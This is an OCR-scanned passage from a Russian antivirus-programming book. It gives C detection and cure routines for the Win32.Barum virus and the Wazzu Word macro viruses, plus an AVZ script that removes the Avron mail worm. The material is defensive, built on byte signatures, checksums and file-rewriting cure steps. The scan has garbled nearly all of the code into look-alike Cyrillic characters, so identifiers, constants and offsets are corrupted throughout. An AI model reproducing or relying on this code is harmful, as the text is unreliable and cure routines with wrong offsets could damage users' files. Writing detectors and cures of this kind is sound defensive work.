1зеек(Т, (1)Юме)5_г.пз_$есгог.(и10Н5)(1«пе_(1.пе_а11дп)+(иЮ№)8->«[0]+(и10не)з_1. 

пз_сЬ5ед, ЗЕЕК_5ЕТ); 
геай( Т, &п_ге1з, 2);
Тог (1=0;1<п_ге18;1++) геай( Т, &ге1ос, з1геоТ(з1:гис1: пем_г1с) );
а->м[0] = ге1ос.пг_еп1;гу; а->»*[1] = ге1ос. пг_5едпо; / /  Восстановить точку входа
пе_й.пе_сзед--; / /  Уменьшить количество сегментов
1зеек(Т, Ш2_П.е_1Тапеи, ЗЕЕК_ЗЕТ); / /  Перейти на *Ип(1о«8-загоповок
«пТе^Т, &пе_11, з12еоТ(_1МА0Е_052_НЕА0ЕР) ); / /  Писать КшсЮиз-эаголовок
сГ)312е(Т, (1Л0М6)з_1:.пз_зес1;ог'(1Л0Ме)(1«пе_(1.пе_а11дп)+(1Л0Мй)а->||*[0]); / /  Отсечь
с1озе(Т);
>

1пг 1пТес1:ес1_«1пг1пу(сИаг *з) { / /  Поиск вируса в файле 
1П1: Т, 1;
Т = ореп(з, 0_В0МЯ|0_81НАВУ, 5_1ВЕА0|5_1МЙ1ТЕ);
геаО(Т, &гп2_(1, з12еоТ(_1МАбЕ_005_НЕА0ЕП) ); / /  Читать 003-загол.овок
1Т (Я12_(1.е_тад1с! =1МА6Е_005_516НАТ1)ЯЕ) ге1:игп 0; / /  8 начале не 'М2'
1Т (я12_(1.е_1Таг1с<0х40) гегигп 0; / /  Это не Шпйомз-программа
1зеек(Т, «12_Г1.е_1Тапем, 5ЕЕК_5ЕТ); / /  Перейти на Шпсйиз-заголовок
геай(Т, &пе_И, 312еоТ(_1МА6Е_082_НЕА0ЕВ) ); / /  Нитать Ипйошз-заголовок
1Т (пе_().пе_п!ад1с!=1МА6Е_082_510МАШЕ) гегигп 0; / /  Это не №-программа
1зеек(Т, тг_М.е_1Тапеи + (Ш.0И6) пе_п.пе_зедТаЬ, 5ЕЕК_5ЕТ );
а = (ип1оп сз_1р *) &пе_(1.пе_сз1р; / /  Разбить пе_сз1р на сз и 1р
Тог (1=0; Ка->*[1]; 1++) геас1(Т,&8_1:,812еоТ(зггис1: з_1:аЬ1е)); / /  Читать таблицу

/ /  сегментов
1зеек(Т, (ШИ№)з_?. пз_зес1:ог*(1Л0М6)(1«пе_(1. пе_а11дп)+

(1Л.0М6)а->м[0],ЗЕЕК_5ЕТ); / /  Здесь точка входа! 
геай(Т, ЬиТ, ю ); / /  Читать буфер 
с1озе (Т);
1Т (!з1:гпсяр(з1дп_1:1пу, ЬиТ, 10)) геТигп 1 ; е1зе геТигп 0;

)

2.5. Процедури детектирования и лечения вируса 
1йЛп32.Вагит. 1536
В состав сигнатурм не входят самие первме байтм вирусного кода, 
так как внчисление дельта-смевдения характерно для большого коли- 
чества вирусов.
#1пс1ийе <«1пао»5.И>
»1пс1ийе <**1пп1:.(1>
#1пс1ис1е <8ТЙ10.(1>
#1пс1ийе <ТспТ1.(1>
#1пс1ийе < з у з / з т .  (1>
#1пс1ийе <10. (1>

ипз1дпей сИаг з1дп_Ьагит[]={0х8В, 0x00, 0x81, ОхЕО, 0x05, 0x10, 0x40, 0x00, 0x81, ОхЕВ}; 
_1МА0Е_003_НЕА0ЕН шг_(1; / /  В08-заголовок
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_1МАСЕ_НТ_Н£АОЕВ5 ре_1к / /  ИЕ-эагоповок 
_1МАСЕ_5ЕСТЮН_НЕА0ЕВ 86; / /  Строка таблицм секций 
ипз1дпе() сИаг ЬиҒ[1б]; / /  Буфер под сигнатуру

уо1й сиге_Ьагик(с()аг »з) { / /  Удаление вируса из файла 
1п1: Т, 1; 0Н0В0 о1йер; ип51дпев сИаг с = 0x90;
Т = ореп(з, 0_Й0МВ | О.ВШАВУ, 3_1ВЕА013_1МЙ1ТЕ);
18еек( т, зе. Ро1пгегТоВа»0а1:а+

ре_И.0р1:1опа1Неайег.Аййгезз0ТЕпггуРо1п1:-зе.У1ггиа1А()<)ге55+0х15, 5ЕЕК_5ЕТ); 
геас!(Т, &о1йер, 4); / /  Извлечь из вируса старую точку входа 
1зеек( Т, зе. Ро1п1:егТоНа*г0а1:а+ре_П.0р1:1опа1Неайег.АййгеззОТЕпггуРохп!:- 

зе.УШ СиаШ Огезз, 5ЕЕК_5ЕТ);
Тог (1=0; Кбе.ЗхгеОТВаиОага; 1++) *г11:е(Т, &с, 1); / /  Зачистить секцию 
ре_И. ОрТ 1опа1Неа()е г . кйй геззОТ ЕпггуРо 1пт=о1с1ер;
1зеек(Т, пи_Н.е_1Тапеи, 5ЕЕК_5ЕТ);
*»Г11:е(Т, &ре_(1, з12еоТ(_1МАбЕ_МТ_НЕА0ЕВ5)); / /  Вернуть старую ЕпТгуРоХШ: 
с1озе(Т);
>

1п1: 1пТвсгес1_Ьагит(с(1аг *з) { / /  Поиск вируса в файле 
1п1: Т, 1;
Т = ореп(5, 0_ВОМВ|0_В1НАВУ, 5_1ВЕА0|3_1«В1ТЕ);
геаа(Т, &Ш2_(1, 312еоТ(_1МАСЕ_005_НЕА0ЕВ) ); / /  Читать РОЗ-заголовок
1Т (т2_(|.е_л1ав1с!=1МАеЕ_005_51СИАТиНЕ) гегигп 0; / /  Внзчале не 'М2'
1Т (*2_(1.е_1таг1с<0х40) геТигп 0; / /  Это не Шпйоиз-программа
1зеек(Т, т2_(1.е_1Тапеи, ЗЕЕК_ЗЕТ); / /  Перейти на М1пс1о»8-заголовок
геай(Т, &ре_&, 312еоТ(_1МА6Е_МТ_НЕМ)ЕЙЗ)); / /  Читать Шпскжз-заголовок
1Т (ре_().51дпа1:иге!=1МА6Е_НТ_51СМАТийЕ) геТигп 0; / /  Это не МЕ-программа 
1зеек(Т, т2_(1.е_1Тапем+0хҒ8, 5ЕЕК_5ЕТ ); / /  На таблицу секций
Тог (1=0; 1<ре_(1.ҒИеНеайег.НишЬегОТЗестюпз; 1++) { 

геай(Т, &зе, з12еоТ(_1МАСЕ_5ЁСТШ_НЕА0ЕВ));
1Т ( ( зе. VI Пиа1А()() гезз<=ре_(1. 0рТюла1Неа(1ег. АсМ ге550ТЕп1: гуРошТ) &&

(зе. У1гТиа1А0()ге55+8е. М1зс. \/1г1:иа1312е>
ре_И.0р1:1опа1Неа()ег.АсМгебз0ТЕп1:гуРо1п1:)) { / /  Секция с точкой входа 
1зеек( Т, зе. РогптегТоНа*0а1:а+ре_(1.0рт1опа1Неайег.АбагебвОТЕпггуРотТ- 

зе.У1г1иа1А()с1гез8, 5ЕЕК_5ЕТ); / /  Здесь точка входа!
геай(Т, ЬиТ, 16);
хТ (!81:гпсп1р(&ЬиТ[6], з1дп_Ьагит, 10)) гетигп 1; е1зе геТигп 0;

>
>

с1озе(Т); геТигп 0; / /  Ничего не найдено
>

2.6. Процедури детеюгирования и лечения вирусов 
Масго.УУогй.ОТагги.дж и Масго.\А/огс197.Мани .дуу
Поскольку вирус Масго.\Уогс197.\¥а22и.^ не полиморфнмй, распа- 
ковка и эмуляция его УВА-кода не требуются. Для детектирования 
обоих вирусов вместо сигнатур используются 32-битовме контроль- 
нне суммьт Марка Адлера.
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Служебнне процедурм и глобальнне константн.
#1пс1ийе <м1пйоиз.М>
#1пс1ийе <о1е2.И>
#1пс1ийе О у з /з га г . Ь>
#1пс1ийе <Тсп1:1.(1>
#1пс1ийе <10.(1>
#1пс1ийе <8М 10.(1>

#йеПпе У1В97 0хйВ0340А2 
#йеТ1пе УЮОб 0x10013038 
#йеТгпе ИАХВЦҒ ОхҒҒҒҒ 
#ЙеТ1пе МАМЕ1ЕМ 256 
#йеПпе 00СҒПЕ316И ОхЕОПСҒОО 
#йеТШе УЕНЗШМНиМ 0х68ТТТТ 
#йеТ1пе М000СҒПЕ 0 
#йеТ1пе М0В06ҒИЕ 1 
#ЙеТ1Пе М0В097ҒИЕ 2

ВУТЕ ВиТ[МАХВ11Ғ]; / /  Небольшой буфер под макрос

/ /  Расчет контрольной суммн ---------------------------------------------------------------------------
ОМОВО ай1ег32(ипз1дпей сИаг *ЬиТ, 0М0В0 ЬиТ1еп) {
0М0В0 51 = 1, з2 = 0, п;
Тог (п=0; п<ВиТ1еп; п++) { 31 = (з1+ЬиТ[п])*65521; 32 = (з2+з1)#65521; >
ге^ гп (з2 «  16) + з1;

>

/ /  Тип и версия документа ------------------------------------------------------------------------------
1п-Е гуре_оТ_Т11е(сЬаг *з) {
1пг Т;
ОМОВО Т11е_310п; / /  Тип файла
ОМОЯО йос_31дп; / /  Версия МЗ Могй
ОЬЕСНАЙ Ғ11еНаие[НАМЕЬЕМ]; / /  1Шсойе-имя для зггисТигес) згогаде
1Р8Т0НА6Е р15гогаде=Н1)И; / /  Интерфейс хранилица
ЬРбТВЕАМ р13ггеаи=Н1И1; / /  Интерфейс потока
ВМОП0 пг; / /  Количество прочитанннх байтов
/ /  Определение типа файла
Т = ореп(з, 0_В00Н1У|0_В1НАВУ, 5_1ВЕА0);
геаб(Т. Ш 1е_з1дп, 4); с1озе(Т);
1Т (Т11е_з1дп! =00СҒИЕ516Н) геИигп МОООСҒПЕ; / /  Это не йо сШ е  

/ /  Чтение потока МогсЮосигоепг 
тЬзгоисз^ҒПеИате, з, НАМЕЬЕН);
51д0реп31:огаде(Ғ11еИате, ИЦЦ,

5Т6И_ВЕА0| ЗТСИ_8НАВЕ_ЕХСШ31УЕ, И и и , 0, &р 13Ю гаде); 
р131:огэде->0реп$1:геэт(1"Иогс10оситеп1:", №Л_1_,

ЗТ0М_ЯЕА01 5Т6И_5НАНЕ_ЕХС1ШУЕ, 0, &р13ггеаш); 
р13тгеап1->Неай( &йос_з1дп, 4, &пг ); 
р131геа!л-Же1еазе(); р13тогаде->Ве1еазе();

/,/ Определение версии документа
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1Г (аос_31дп<УЕНЗЮММШ) гетигп М0ЯВ6ҒПЕ; е1зе геШгп М0К097ҒИЕ;

>

/ /  Изменение позиции чтения/записи в текушем потоке 
У01й зТг_зеек(1Р8ТНЕАН зТг, ОМОРО о?зт) { 
1АВ0Е_1МТЕСЕН роз; иЬАНСЕ.ГНТЕСЕН пеироз; 
роз. и. ШдМРаП: = 0; роз. и. ЬоиРагТ = (1ЖЖ0) оТзТ; 
5Тг->Зеек(роз, ЗТЯЕАМ_ЗЕЕК ЗЕТ, &пеироз );

>

/ /  Определение позиции чтения/записи в текуцем потоке 
уотй зТг_Те!1(1РЗТЙЕАИ зТг, 0М0Й0 .оТвТ) { 

1АН0Е_1НТЕ(ЗЕЙ роз; 01АН0Е_ИТЕ0ЕЙ пеироз; 
роз.и.Н1д(1РагТ = 0; роз. и. 1_о»*Рагт = 0; 
зТг->Зеек(роз, ЗТйЕАИ_ЗЕЕК_Син, &пешроз );
•оТзТ = (0М0Н0) пеироз.и. 1_оиРагТ;

)

зтгист МН { / /  Макрозаголовок для Могс) 6/7
ВУТЕ уегз; ВУТЕ кеу; ВУТЕ г0[Ю ]; 0М0Н0 т1еп; 0И0НВ г1; 0М0Н0 яроз;

>;
Процедурм для детектирования и удаления вируса из документа в 

формате М5 \Уогс16 или 7.
/ /  Поиск вируса в документе, созданном в Могй 6/7 ----------------------------------------------
1пт 1пТесТеа_*а2ги06(с(1аг »з) {
01ЕСНАЙ Ғ11е№те[МАМЕ1.ЕН]; / /  Шисойе-имя для зТгисТигей зТогаде 

/ /  Интерфейс хранилиша 
/ /  Интерфейс потока 
/ /  Позиция макрозаголовка 
/ /  Длина макрозаголовка 
/ /  Старая позиция 
/ /  Контрольная сумма 
/ /  Количество прочитанннх байтов 
/ /  Сигнатура ОхЮҒҒ 
/ /  Количество макросов 
/ /  Макрозаголовок 
/ /  Признак наличия вируса

1РЗТ0ВА6Е в15Тогаде=МиИ; 
1.Р5ТРЕАМ рТЗТгеат^ИиИ;
0Н0Й0
ВМ0Й0
эмово
0«0Н0
0И0Й0
моно
«ово

#Г|_1еп;
о1й_роз;
а32;
пг;
тадю;
п_*асг;

зТгисТ МН т1); 
1пТ Тоипс1; 
1пТ 1, ];

тЬзТо«сз(Ғ11еНате, з, НАМЕ1ЕН);
Тоипй = 0;
ЗТд0репЗТогаде(ҒИеНате. ИЦИ,

8Т6М_ЙЕА0|ЗТ6М_ЗНАНЕ_ЕХСШ31УЕ, И ЦЦ ,0, &р18Тогаде); 
р13Тогаде->0репЗТгеат(1"Могй0оситепТ'',нии,

ЗТ6М_НЕА01ЗТ6М_ЗНАЙЕ_ЕХС1иЗ ГУЕ.0 ,&р13т геат); 
зТг_зеек(р13Тгеат, 0x118);
р13Тгеат->Яеас1(&тЬ_оТТ, 4, &пг); / /  Позиция макрозаголовка 
р^ЗТгеат-^йеасК&лИОеп, 4, &пг); / /  Длина
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згг.зеекСрГЗггеая, вЬ_оТТ);
р18ггезя->Неас1(4«ад1с, 2, &пг); / /  Допжно бьггь 0х1ҒҒ
1Т (»ад1о !=0x1 ҒҒ) <р13Тгеая->Ве1еазе();р13Тогаде->Не1еазе();гегигп 0;} / /  Макросов нет 
р13ггеаш->Яеас1(&п_*асг, 2, *пг); / /  Количество макросов
1Т ( ! п_гвасг) (р131:геал1->Ве1еа5е();р131;огаде->йе1еа8е(); гегигп 0 ;) / /  Макросов нет 
Тог (1=0;1<п_тасг;1++) { / /  Цикл ло записям макрозаголовка 
р13ггеаш->йеа()( 312еоТ(51:гисг МН), &пг );
5-С г_геХ 1 ( р 131:геаш, &о1й_роз);
51г_зеек(р131:геап|, тИ.шроз); 
р13ггеат->Неа()( ВиТ, 1лИ.ш1еп, &пг );
1Т (шИ.кеу) Тог (]=0; ]<тП.т1еп;  ̂++) ВиТ[^]=ВиТ[Л~тИ.кеу; / /  Расшифровка макроса 
а32 = ай1ег32(ВиТ, тИ.ш1еп); / /  Расчет контрольной суммн 
1Т (а32==У1В06) ТоипО = 1; / /  Сравнение
5Тг_5еек(р131:геал), о1й_ро5);

}
р131:геат->Ве1еа5е(); р13то гаде->Ве1еазе(); 
геТигп Тоипй;

>

/ /  Удаление вируса из документа, созданного в Иогй 6/7 --------------------------
У01с1 сиге_магги06(сЬаг *з) {

ОЬЕСНАВ ҒПеИате[НАМЕ1ЕН]; / /  11п1сос1е-имя для зШ сТигей  зтогаде
ЬРЗТОВАСЕ р151огаде=ШЛ_1.; / /  Интерфейс хранилиша
1Р5ТВЕАМ р151:геат=М1Л1; / /  Интерфейс потока
0М0В0 пг; / /  Количество прочитанннх байтов
0«0Й0 ш(\_оТТ; / /  Позиция макрозаголовка
ОМОВО яЬ_1еп; / /  Длина макрозаголовка
1ЛШ п_яасг; / /  Количество макросов
МОВй •ад1с; / /  Сигнатура макрозаголовка

тЬ5{омс5(ҒПеМаяе, 5, НАМЕ1ЕН);
8тд0реп31:огаде(Ғ11еИапе, Ж)И,

ЗТвМ_ВЕА0МЯ1ТЕ|8ТСМ_ЗНАЯЕ_ЕХС1и31УЕ, МЦЦ.О.&рКТогаде); 
рГЗйгаде-^ОрепЗггеая^МогйОосииепГ', мцц ,

ЗТем_ЯЕА0МЙ1ТЕ | ЗТСМ_ЗНАЙЕ_ЕХСШ51УЕ, 0, &р131: геая); 
з1:г_5еек(р18ггеат, 0x118);

р131:геал]->Неа()(&л1(1_оТТ, 4, &пг); / /  Позиция макрозаголовка 
ш(1_1еп = 0;
р131:геа1Я->Мг11:е(&яЛ_1еп, 4, &пг); / /  Записать в длину 0 байтов 
зтг_зеек(р15тгеат, ш(1_оТТ); 
р15ггеат->Неай(&тад1с, 2 , &пг); 
п_тасг=0;
р151:геал1->Иг11:е(&п_тасг, 2, &пг); / /  Записать в количество 0 макросов 
р131:геат->Ве1еа5е(); р15тогаде->Не1еазе();

>

Процедурм для детектирования и удаления УВА-вируса.
/ /  Поиск вируса в документе, созданном в Могй 97+
1 П1  1 пТес1:ей_маг2и97(с(1аг *з, 1Р5Т0НАСЕ 1з) {
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01ЕСНАВ ҒПвМаяе[НАМЕ1ЕМ]; / /  ишсойе-имя для зггисгигвс) згогаде
ЬРЕМиМЗТДТЗТО 1рЕпи»=>Ш1_1_; / /  Интерфвйс первчиспителя
1РЗТ0ЙА6Е р151огаде=НШ_1_; / /  Интерфейс структурированного хранилица
1.Р5Т0НАСЕ р15Тогаде2=М1Л1_; / /  Интерфвйс хранипича нижнего уровня
1Р5ТЙЕАИ р151:геат=Л1Л1; / /  Интерфейс потока
ЗТАТ5ТС 81а1; / /  Очередная запись в каталоге
ШОМб иСоипИ; / /  Счетчик пвречисления
1110М0 зггеаш1еп; / /  Реальная длина потока
июиб сИ_ро8; / /  Позиция чунка внутри потока
Ш.ОМС а32; / /  Контрольная сумма вирусного кода
1П1; {'оипй; / /  Признак наличия вируса

(!1 з) < Ц  Первай визов 
Гоцпй = 0;
шЬз1:оисз(ҒИеНате, з, ИАМЕ1.ЕН);
ЗидОрепЗгогадеСҒПеНате, МШ1,

5ТСМ_ЙЕА0|ЗТеМ_8НАКЕ_ЕХСИЮ1УЕ, н и а , 0 ,&р131:огаде);
Гоипй = 1пТес1:еа_«аг2и97( ,  рГЗтогаде); 
р15Тогаде->йе1еазе(); 
геТигп Тоипв;

>
е1зе ( / /  Повторний вмзов 
1з->ЕпитЕ1етеп1;з(0, N1)11,0, &1рЕпиш);
1Т (1рЕпиш) «М1е (1рЕпия->Нех1(1, & зШ , &иСоипг)==5_0К) ! / /  Перечислить 

(згаг.гуре==ЗТСТУ_ЗТ0ЙАбЕ) { / /  Это хранилице 
1з->Ореп51;огаде(81:аг. р«сзНаше,

МШЛ, 8Тем_НЕА0|5ТеМ_ЗНАЙЕ_ЕХСШ81УЕ, МЦИ, 0, &р13Тогаде2);
Тоипй = ^пТес1:есI_иа22и97(,,,,, р181огаде2 ); / /  Рекурсиано нирнуть в хранилице 
р18тогаде2->Яе1еазе();
>

е1зе { / /  Это поток 
1з->0реп5ггеат(з1:а1:. рксзНате, М(Л1_,

ЗТ6М_ЙЕА015Тем_5НАНЕ_ЕХСИ)5ХУЕ, 0 ,&р18т геаш); 
р151геат->йеай(ВиТ, МАХВЦҒ, &з1геая11еп); / /  Читать начало потока 
рГЗт геат->Яе1еазе();
хТ (*(0М0Й0 *)&виг[0]=0х00011601) { / /  Это поток с макросами 
сП_роз = 81:геат1еп/2; / /  Поиск начинаем со второй половинь буфера
у*(И1е((с(1_роз<(з1:геат1еп-3))&&((Ви(:[сИ_роз]!=1)| |

((ВиТ[с(1_роз+2]&0хҒ0)! =ОхВО))) с(|_роз++; / /  Поиск 01 <ХХ> В<Х>
1Т (с(1_роз < (зггеа»1еп-3)) { / /  Нашли упакованнмй код макроса
а32 = ас)1ег32( &ВиТ[сП_роз+3], з(:геат1еп-с(1_роз ); / /  Контрольная сумма 
1Т (а32 == У1В97) Тоипй=1;

>
>

>
>

>
геТигп Тоипй;

>

/ /  Удаление вируса иэ документа, созданного в Мога 97+ --------------------------------------
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уо1в сиге_иа2ги97(с(1аг *з) <
01.ЕСНАЯ Ғ11еНате[МАМЕ^ЕМ]; / /  1)п1со()е-имя для зггисТигей зТогаде
1Р8Т0НА6Е р15-Согаде=НШ.!.; / /  Интерфейс структурированного хранилица
1.Р5ТЙЕАМ р15Тгеэт=миИ; / /  Интерфейс потока
ЮЮЯО тГ1_оТТ, тЬ_1еп; / /  Позиция и длина макрозаголовка
ОУЮВО пг; / /  Количество прочитанних/записанньк байтоа
МОНВ «Л; / /  Имитатор пустого макрозаголовка

лЬзТомсзСҒПеНате, з, НАИЕ1ЕМ);
8Тд0реп5тогаде(ҒИеМате, М1)И,

8ТСН_ЯЕА1)МЙ1ТЕ|8Теи_8НАЯЕ_ЕХСШ51УЕ, МЦИ.О,&р18Тогаде); 
р15Тогаде->0е8ггоуЕ1етепт(1"Масгоз"); / /  Удалить хранилице ''Масгоз'' 
р18Тогаде->0реп8Тгеаш(1 "МогйОоситепТ", М1)Ь1,

8ТеМ_НЕА0ИЯГТЕ|8Т6И_8НАЯЕ_ЕХСШ81УЕ, 0, &р15Тгеаш); 
зТг_зеек(р18Тгеаш, 0х15А);
р18Тгеат->Ғ1еас!(&1пГ)_оТТ, 4, &пг); / /  Позиция макрозаголовка в 1ТаЬ1е 
л!(1_1еп = 2;
р15Тгеат->Иг1Те(&ш(1_1еп, 4, &пг); / /  Записать длину пустого заголовка 
р13Тгеат->Не1еазе(); 
р13тогаде->0реп8Тгеат(1_"1ТаЬ1е", М1)И,

8ТеИ_КЕА0««1ТЕ|5Т6И_5НАЙЕ_ЕХСШ81УЕ, 0, &р18Тгеат); 
зТг_зеек(р18Тгеаш, тИ_оТТ); 
шМ = 0х40ҒҒ;
р13Тгеат->МаТе(&т11, 2, &пг); / /  Записать имитацию пустого заголовка 
р13тгеат->Яе1еазе(); 
р18Тогаде->Яе1еазе();

>

2.7. Скрипт антивируса АУ2 для детектирования 
и лечения почтового червя Е-УУогт.Аугоп.а
Для успешного вьшолнения скрипта антивирус АУ2 должен бьггь 
запушен с привилегиями Администратора. Во время работи скрип- 
та будет отключен доступ к сети, а после его завершения компьютер 
автоматически перезагрузится.
/ /  Поиск сигнатури в файле
ҒипсТ1оп 8сапҒПе(АҒПе№ те : зТгхпд) : Воо1еап;
Ьед1п
8еТ8ТаТиз8а гТехТ(АҒИеМате);
1оайҒ11еТоВиТТег(АҒИеНате);
1Т 8еагс1л81дп( '75  2С 2А 65 07 8А 37 6 С , 4096, 0) >= 0 

тпеп Яези1Т:=Тгие е1зе Йези1т:=Та1зе;
ҒгееВиТТег;

епй;

/ /  Сканирование дерева каталогов
Ргосейиге Зсап01г(А01гНате ; зТгтн.д; А5сап5иЬ01г : Ьоо1еап); 
уаг Ғ5 : ТҒПеЗеагсМ;
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Ьедгп
АОхгНаше : г  Ногта101г(А01гМапе);
ҒЗ := ТҒИеЗеагсЬ.Сгеа1:е(п11);
Ғ8. Ғ1пйҒ1гзг(А01гМал1е + ' * . * ' ) ;  
иИИе ҒЗ.Ғоипй ао Ьедгп 

Ғ8.1з01г гмеп Ьед1п
1Т АЗсапЗиЬ01г апй (ҒЗ.ҒИеМагае <> ' . ' )  апй (ҒЗ.ҒИеИаше <> ТИеп
8сапВ1г(А01гХаше + Ғ8. ҒИеНаше, А8сап8иЬ01г) 

епй е1зе
1Т ЗсапҒИе(А01гНав1е + Ғ8. ҒИеМате) ТИеп Ьед1п 
АбйТо1од('0е1е1:е '+А01гНаше+ҒЗ. ҒИеНапе);
0е1етеҒ11е(А01гНате + ҒЗ. ҒИеМагае);
А0<Яо1_од('Тгу го гетоуе Тгот НедгзТгу '+А01гМате + ҒЗ. ҒИеИате); 
0е1Аи1:огипВуҒ11е№те(А01гИате + ҒЗ. ҒПеНате); 

епО;
Ғ8.Ғ1пйНехТ; 

епй;
ҒЗ.Ғгее; 

епй;

уаг 1 : тТедег;

Ьед1п
ЕхесиТеҒИ еСпет.ехе ', 'зТор ТсрЮ / у ' ,  0, 15000, Тгие);
8еТ гезЬРгосеззИзТ;
А0йТо1од('НитЬег оТ ргосезве5= '+1пгТоЗтг(0е1:Ргосе55Соип1:));
Тог 1 := 0 То ЕеХРгосеззСоипт -  1 Оо Ьед1п 
АййТоид(1п1:ТоЗтг(Се1Ргосе55Р10(1)) + ' '+ СетРгосез5Мате(1));
1Т ЗсапҒИе(Се1:Ргосе55Нате(1)) ТИеп Бед1п 
АййТо1од( 'Тегт1па1:е '+6е1:Ргосе5зМате(1)); 
Тепл1паТеРгосе55(СеТРгосе55РЮ(1));
А00То1од( '0е1е1:е '+Се1:Ргосе55Мате(1));
0е1етеҒ11е(Се1:Ргосе5з№те( 1 ));
Ай0То1од('Тгу То гетоуе Тгот Вед1з1:гу '+0е1:Ргосе5зНате( 1)); 
0е1АиТогипВуҒИеМате(Се1:РгосеззМате( 1)); 

епО 
епО;
Зсап01г( ' С : \ ’ , Тгие);
0е1е1:еҒие( '%Мт01г*\НЕМВООТ. ЗУЗ’ );
0е1еТеҒИе(’ *Ттр* \И 8ТВ ЕСР .ои ');
НеЬооТШ п0о*5( Т гие); 

епо.
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